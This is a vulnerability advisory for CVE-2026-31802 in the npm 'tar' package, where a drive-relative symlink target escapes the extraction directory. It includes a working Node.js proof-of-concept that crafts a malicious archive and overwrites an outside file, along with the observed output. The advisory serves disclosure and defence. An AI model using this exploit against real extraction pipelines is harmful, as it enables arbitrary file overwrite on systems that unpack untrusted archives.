node-tar Symlink Path Traversal via Drive-Relative LinkpathCVE-2026-31802

### Summary `tar` (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as `C:../../../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction. ### Details The extraction logic in `Unpack[STRIPABSOLUTEPATH]` validates `..` segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored `linkpath` to the stripped value. What happens with `linkpath: "C:../../../target.txt"`: 1. `stripAbsolutePath()` removes `C:` and rewrites the value to `../../../target.txt`. 2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted. 3. Symlink creation uses the rewritten value (`../../../target.txt`) from nested path `a/b/l`. 4. Writing through the extracted symlink overwrites the outside file (`../target.txt`). This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives. ### PoC Tested on Arch Linux with `[email protected]`. PoC script (`poc.cjs`): ```js const fs = require('fs') const path = require('path') const { Header, x } = require('tar') const cwd = process.cwd() const target = path.resolve(cwd, '..', 'target.txt') const tarFile = path.join(cwd, 'poc.tar') fs.writeFileSync(target, 'ORIGINAL\n') const b = Buffer.alloc(1536) new Header({ path: 'a/b/l', type: 'SymbolicLink', linkpath: 'C:../../../target.txt', }).encode(b, 0) fs.writeFileSync(tarFile, b) x({ cwd, file: tarFile }).then(() => { fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n') process.stdout.write(fs.readFileSync(target, 'utf8')) }) ``` Run: ```bash node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt ``` Observed output: ```text PWNED ../../../target.txt lrwxrwxrwx - joshuavr 7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt .rw-r--r-- 6 joshuavr 7 Mar 18:37  ../target.txt ``` `PWNED` confirms outside file content overwrite. `readlink` and `ls -l` confirm the extracted symlink points outside the extraction directory. ### Impact This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction. Realistic scenarios: - CLI tools unpacking untrusted tarballs into a working directory - build/update pipelines consuming third-party archives - services that import user-supplied tar files

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